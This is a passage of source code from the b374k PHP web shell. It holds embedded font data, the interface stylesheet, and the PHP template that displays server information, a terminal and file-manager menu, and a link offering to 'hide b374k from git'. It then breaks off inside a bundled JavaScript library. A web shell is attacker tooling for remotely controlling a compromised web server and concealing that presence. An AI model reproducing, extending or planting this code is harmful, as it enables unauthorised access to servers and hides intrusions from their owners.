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) format('woff');
font-weight: normal;
font-style: normal;}*{
font-family:ubuntumono;
margin:0;
padding:0;
border:0;
-webkit-box-sizing:border-box;
-moz-box-sizing:border-box;
box-sizing:border-box;
font-size:12px;
font-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{
outline:none;}html, body{
width:100%;
height:100%;
color:#222222;}body{
background:#efefef;}a{
text-decoration:none;
color:#222222;}a:hover{
cursor:pointer;}p{
padding:8px 0;}img{
vertical-align:middle;}table{
width:100%;}table td, table th{
vertical-align:middle;
padding:8px;}textarea, input, select{
background:#e0e0e0;
padding:8px;
border-radius:8px;
color:#222222;}textarea{
resize:vertical;
width:100%;
height:300px;
min-height:300px;
max-width:100%;
min-width:100%;}hr{
margin:8px 0;
border-bottom:1px dashed #e0e0e0;}video{
width:50%;
background:#e0e0e0;
border-radius:8px;}h1, h2{
background:#e0e0e0;
border-radius:8px;
text-align:center;
padding:8px;
margin-bottom:8px;}pre, #viewFilecontent{
word-break:break-all;
word-wrap:break-word;}pre{
white-space:pre-wrap;}#b374k{
cursor:pointer;}#header{
width:100%;
position:fixed;}#headerNav{
padding:10px 8px 6px 8px;
background:#DBD9D9;}#headerNav img{
margin:0 4px;}#menu{
background:#6D98A2;
height:26px;}#menu .menuitem{
padding:7px 12px 6px 12px;
float:left;
height:26px;
background:#6D98A2;
color:#000000;
cursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{
background:#efefef;
color:#222222;
border-radius:8px 8px 0 0;}#menu .menuitemSelected{
background:#efefef;}#basicInfo{
width:100%;
padding:8px;
border-bottom:1px solid #e0e0e0;}#content{
width:100%;
height:100%;
padding:62px 4px 10px 4px;}#content .menucontent{
clear:both;
display:none;
padding:8px;}#overlay{
position:fixed;
top:0px;
left:0px;
width:100%;
height:100%;
display:none;}#loading{
width:64px;
height:64px;
background:#000000;
border-radius:32px 0 32px 0;
margin:auto;
vertical-align:middle;
box-shadow:0 0 16px #000;}#ulDragNDrop{
padding:32px 0;
text-align:center;
background:#e0e0e0;
border-radius:8px;}#form{
display:none;}.box{
min-width:50%;
border:1px solid #e0e0e0;
padding:8px 8px 0 8px;
border-radius:8px;
position:fixed;
background:#efefef;
opacity:1;
box-shadow:1px 1px 25px #150f0f;
opacity:0.98;}.boxtitle{
background:#6D98A2;
color:#000000;
border-radius:8px;
text-align:center;
cursor:pointer;}.boxtitle a, .boxtitle a:hover{
color:#000000;}.boxcontent{
padding:2px 0 2px 0;}.boxresult{
padding:4px 10px 6px 10px;
border-top:1px solid #e0e0e0;
margin-top:4px;
text-align:center;}.boxtbl{
border:1px solid #e0e0e0;
border-radius:8px;
padding-bottom:8px;}.boxtbl td{
vertical-align:middle;
padding:8px 15px;
border-bottom:1px dashed #e0e0e0;}.boxtbl input, .boxtbl select, .boxtbl .button{
width:100%;}.boxlabel{
text-align: center;
border-bottom:1px solid #e0e0e0;
padding-bottom:8px;}.boxclose{
background:#E2E8F5;
border-radius:3px;
margin-right:8px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;}.strong{
color:#007792;}.weak{
color:#222222;}.button{
min-width:120px;
width:120px;
margin:2px 0;
padding:8px;
background:#e0e0e0;
color:#222222;
border-radius:8px;
display:block;
text-align:center;
float:left;
cursor:pointer;}.button:hover, #ulDragNDrop:hover{
box-shadow:1px 1px 5px #d0d0d0;
background:#d0d0d0;}.floatLeft{
float:left;}.floatRight{
float:right;}.colFit{
width:1px;
white-space:nowrap;}.colSpan{
width:100%;}.border{
border:1px solid #e0e0e0;
border-radius:8px;
padding:8px;}.borderbottom{
border-bottom:1px dashed #e0e0e0;}.borderright{
border-right:1px dashed #e0e0e0;}.borderleft{
border-left:1px dashed #e0e0e0;}.hr td{
border-bottom:1px dashed #e0e0e0;}.cBox, .cBoxAll{
width:10px;
height:10px;
border:1px solid #6D98A2;
border-radius:5px;
margin:auto;
float:left;
margin:2px 6px;
cursor:pointer;}.cBoxSelected{
background:#6D98A2;}.action, .actionfolder, .actiondot{
cursor:pointer;}.phpError{
padding:8px;
margin:8px 0;
text-align:center;}.dataView td, .dataView th, #viewFile td{
vertical-align:top;
text-align:center;
border-bottom:1px dashed #e0e0e0;}.dataView th{
border-bottom:none;}.dataView tbody tr:hover{
background:#e0e0e0;}.dataView th{
background:#e0e0e0;
vertical-align:middle;}.dataView tfoot td{
vertical-align:middle;}.dataView .col-cbox{
width:20px;}.dataView .col-name, .dataView tr>td:nth-child(2){
text-align:left;}.dataView .col-size, .dataView tr>td:nth-child(3){
width:70px;
text-align:left;}.dataView .col-owner{
width:140px;
min-width:140px;}.dataView .col-perms{
width:80px;}.dataView .col-modified{
width:150px;}.sortable th{
cursor:pointer;}#viewFile td{
text-align:left;}#viewFilecontent{
padding:8px;
border:1px solid #e0e0e0;
border-radius:8px;}#terminalPrompt td{
padding:0;}#terminalInput{
background:none;
padding:0;
width:100%;}#evalAdditional{
display:none;}.hl_default{
color:#408494;}.hl_keyword{
color:#CA6B13;}.hl_string{
color:#1F1506;}.hl_html{
color:#222222;}.hl_comment{
color:#FF7000;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}.git_alert{font-weight: bold; color:#ef793e; font-size: 16px;}</style>
</head>
<body>
<!--wrapper start-->
<div id='wrapper'>
<!--header start-->
<div id='header'>
<!--header info start-->
<div id='headerNav'>
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span><a class='boxclose' id='logout' title='log out'>x</a>
<a class='boxclose' id='showinfo' title='show info'>v</a>
</div>
<!--header info end--><!--menu start-->
<div id='menu'>
<?php
foreach($GLOBALS['module_to_load'] as $k){
echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";}?>
</div>
<!--menu end--></div>
<!--header end--><!--content start-->
<div id='content'>
<!--server info start-->
<div id='basicInfo'>
<div id='toggleBasicInfo'></div>
<?php
echo $error_html;
foreach(get_server_info() as $k=>$v){
echo "<div>".$v."</div>";}if(is_git_repo(getcwd())){
echo "<p class=\"git_alert\">Warning: b374k is running under a git repository!</p>
<a href=\"#\"> Click here to hide b374k from git </a>";}?>
</div>
<!--server info end--><?php
foreach($GLOBALS['module_to_load'] as $k){
$content = $GLOBALS['module'][$k]['content'];
echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";}?>
</div>
<!--content end--></div>
<!--wrapper end-->
<div id='navigation'>
<div id='totop'></div>
<div id='tobottom'></div>
</div>
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php echo get_self(); ?>';
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
var win = <?php echo (is_win())?'true':'false';?>;
var init_shell = true;
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\s)"+a+"(\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var 